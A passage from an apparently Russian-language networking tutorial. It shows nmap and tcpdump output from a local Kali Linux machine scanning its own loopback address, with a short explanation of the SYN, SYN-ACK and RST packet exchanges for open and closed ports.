PORT      STATE SERVICE  
21/tcp    closed ftp  
22/tcp    open  ssh  
80/tcp    closed http  
443/tcp   closed https  
Nmap done: 1 IP address (1 host up) scanned in 0.09 seconds
```

в первом терминале побежали строчки сканирования трафика

```
(kali㉿kali)-[~]  
$ sudo tcpdump -i lo -n -c 50 tcp  
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode  
listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes  
08:43:51.371809 IP 127.0.0.1.54345 > 127.0.0.1.22: Flags [S], seq 1150824383, win 1024, options [mss 1460], length 0  
08:43:51.371839 IP 127.0.0.1.22 > 127.0.0.1.54345: Flags [S.], seq 487610290, ack 1150824384, win 65495, options [mss 65495], length 0  
08:43:51.371846 IP 127.0.0.1.54345 > 127.0.0.1.22: Flags [R], seq 1150824384, win 0, length 0  
08:43:51.371856 IP 127.0.0.1.54345 > 127.0.0.1.443: Flags [S], seq 1150824383, win 1024, options [mss 1460], length 0  
08:43:51.371859 IP 127.0.0.1.443 > 127.0.0.1.54345: Flags [R.], seq 0, ack 1150824384, win 0, length 0  
08:43:51.371865 IP 127.0.0.1.54345 > 127.0.0.1.21: Flags [S], seq 1150824383, win 1024, options [mss 1460], length 0  
08:43:51.371868 IP 127.0.0.1.21 > 127.0.0.1.54345: Flags [R.], seq 0, ack 1150824384, win 0, length 0  
08:43:51.371873 IP 127.0.0.1.54345 > 127.0.0.1.80: Flags [S], seq 1150824383, win 1024, options [mss 1460], length 0  
08:43:51.371876 IP 127.0.0.1.80 > 127.0.0.1.54345: Flags [R.], seq 0, ack 1150824384, win 0, length 0
```

снова видим SYN пакет, затем SYN-ACK, и затем RST пакет (прерываем соединение, до его полной остановки), и так с каждым портом, начиная с ssh. но вот с портом 443 (https), 21 (ftp) и 80 (http) немного другая ситуация, здесь идет просто SYN пакет, а затем целевой адрес прерывает соединение (пакет RST)